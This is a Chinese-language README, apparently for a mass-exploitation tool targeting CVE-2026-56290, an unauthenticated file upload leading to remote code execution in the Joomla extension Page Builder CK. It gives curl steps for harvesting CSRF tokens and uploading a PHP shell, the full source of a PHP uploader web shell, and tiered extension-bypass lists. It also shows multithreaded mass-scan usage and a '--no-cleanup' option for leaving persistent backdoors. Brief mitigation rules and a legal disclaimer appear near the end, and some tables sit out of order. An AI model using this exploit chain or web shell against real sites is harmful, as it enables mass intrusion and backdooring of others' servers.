
📤 针对 CVE-2026-56290 的大规模利用框架 —— Page Builder CK Joomla 未授权文件上传至 RCE
CVE-2026-56290 是 Page Builder CK(com_pagebuilderck)中的一个严重级漏洞。Page Builder CK 是一款流行的 Joomla 页面构建器扩展。browse.ajaxAddPicture 控制器方法接受未认证的文件上传,并允许使用用户可控的目标路径,攻击者可以将任意 PHP 文件写入 Web 可访问的目录。
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
path 参数仅仅经过 trim() 清洗 — 没有白名单、没有目录穿越检查、也没有身份验证门槛。再加上可从任何 Joomla 页面公开访问的 CSRF token,攻击者可以远程将 PHP shell 上传到任意可写目录。
| 向量 | 严重级别 | 影响 |
|---|---|---|
| 未认证文件上传 | 9.8(严重) | 任意 PHP 代码执行 |
| CSRF Token 收集 | 5.3(中危) |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
注意: 版本通过 Joomla manifest 文件
/administrator/manifests/files/com_pagebuilderck.xml检测。如果 manifest 不可访问,扫描器将默认把目标视为潜在易受攻击。
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target Single target URL
-f, --file File with target URLs (one per line, # for comments)
-o, --output Live TXT output file (default: cve-2026-56290_live.txt)
--json JSON report file path (default: cve-2026-56290_report.json)
--threads Concurrent workers (default: 20)
--timeout Request timeout in seconds (default: 15)
--no-cleanup Leave shells on target (persistent backdoor)
-v, --verbose Verbose endpoint discovery output
--known-endpoint Skip discovery: task,file_param,folder_param
# Single target
python cve_2026_56290.py -t https://target.com
# Mass scan from file
python cve_2026_56290.py -f targets.txt
# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s
✅ https://target-vuln2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE Confirmed : 2
⚠️ RCE Failed : 1
🛡️ Patched : 1
🔍 Need Diff : 0
❌ Not Joomla : 0
⏭️ No Component : 1
💥 Errors : 0
==================================================
步骤 1 — 获取 CSRF Token
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
步骤 2 — 上传 PHP Shell
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
步骤 3 — 验证 RCE
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution
扫描器部署一个自包含的上传器 shell — 无需 exec()、system() 或 eval():
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
Shell 能力:
f=@file 上传其他文件?cleanup=1 自毁┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Joomla │ │ │ Endpoint │ │ Extension │ │
│ │ Detection │ │ │ Brute-force │ │ Bypass Grid │ │
│ │ (2-phase) │ │ │ (1000+ combo)│ │ (40+ exts) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ PBCK │ │ │ CSRF Token │ │ PHP Shell │ │
│ │ Detection │ │ │ Harvester │ │ Deployment │ │
│ │ (probes) │ │ │ (5 pages) │ │ (20+ paths) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Version │ │ │ │ Validation │ │
│ │ Check │ │ │ │ + Cleanup │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
扫描器使用分层暴力枚举,并为每个目标设置时间预算(15 秒):
每种组合:上传一个 .txt 探测文件 → 通过 GET 验证 → 成功时匹配。确认后立即返回。
在某些配置下,CKFile::makeSafe() 会拦截 .php。绕过策略如下:
Tier 1: Fast
php, PHP, pht, phar
↓ (if blocked)
Tier 2: Case juggling
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (if blocked)
Tier 3: Alternative handlers
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (if blocked)
Tier 4: Double extensions
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (if blocked)
Tier 5: Windows tricks
php., PHP., php. , php.SWF
Joomla 的 CSRF token 嵌入在每个页面中 — 首页、登录、注册、联系表单、管理后台:
CSRF_PAGES = [
"", # homepage
"/index.php?option=com_users&view=login", # login
"/index.php?option=com_users&view=registration", # registration
"/index.php?option=com_contact&view=contact&id=1", # contact
"/administrator/index.php", # admin login
]
模式 A — HTML 隐藏输入:<input type="hidden" name="<hex32>" value="1">
模式 B — JSON 配置:"csrf.token":"<hex32>"
阶段 1 — HTML 指纹(快速、确定)
Joomla! 的 Generator meta 标签<jdoc:include>、joomla-script-options、"csrf.token"/components/com_、/modules/mod_、/plugins/system/阶段 2 — 管理后台探测(备用)
/administrator/ 页面name="username"、mod-login-、administrator/templates/第 1 层 — HTML 强指标
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
第 2 层 — 需要确认的 HTML 弱指标
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
第 3 层 — 直接文件探测(可发现 PBCK 未出现在首页的安装)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt
🚨 仅供教育与授权测试使用
本软件仅用于教育目的和合法的安全研究。其目标用户包括:
- 🛡️ 执行授权渗透测试的安全专业人员
- 🏢 审计自有 Joomla 基础设施的组织
- 🔬 研究漏洞利用技术的研究人员
- 🎓 学习 Web 应用安全的学生
❌ 你不得使用本软件进行以下行为:
- 在未获明确书面授权的情况下访问计算机系统
- 破坏、损害或干扰你并不拥有的系统
- 从事任何形式的非法活动
⚖️ 法律声明
未经授权访问计算机系统违反的法律包括但不限于:
- 美国:《计算机欺诈与滥用法》(18 U.S.C. § 1030)
- 印度尼西亚: UU ITE 第 30 条与第 46 条(UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- 欧盟:《2013/40/EU 指令》
- 英国:《1990 年计算机滥用法》
作者对因使用本工具而导致的任何误用、损害或法律后果不承担任何责任。使用本软件即表示你承认自己应对自身行为全权负责,并同意遵守所有适用法律。
⚡ 为安全研究社区精心打造 ⚡
Joomla® 是 Open Source Matters, Inc. 的注册商标。
本项目与 Joomla、Open Source Matters 或 Page Builder CK 无关联,也未获得其认可。
| 使上传链成为可能 |
| 信息泄露 | 5.3(中危) | 扩展版本指纹识别 |
| Page Builder CK 版本 | 状态 | 备注 |
|---|
| 3.1.1 及以下 | 🔴 易受攻击 | 已确认未认证上传 |
| 3.4.10 及以下 | 🔴 易受攻击 | 根据分析扩展的范围 |
| 3.5.10 及以下 | 🔴 易受攻击 | 可能存在部分已修复变体 |
| > 3.5.10 | 🟢 可能已修复 | 通过 manifest XML 验证 |
🔍 侦察
|
💀 利用
|
| 层级 | 任务 | 文件参数 | 文件夹参数 | 目标路径 | 总组合数 |
|---|
| 第 1 层(已确认) | browse.ajaxAddPicture + 其他 3 个 | file, Filedata | path, folder, dir | 前 4 个 PBCK 目录 | 96 |
| 第 2 层(完整网格) | 12 个任务 | 4 个参数 | 5 个参数 | 20+ 路径 | 4,800+ |
| 资源 | 链接 |
|---|
| NVD 条目 | CVE-2026-56290 |
| Joomla 安全 | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| OWASP 文件上传 | 不受限制的文件上传 |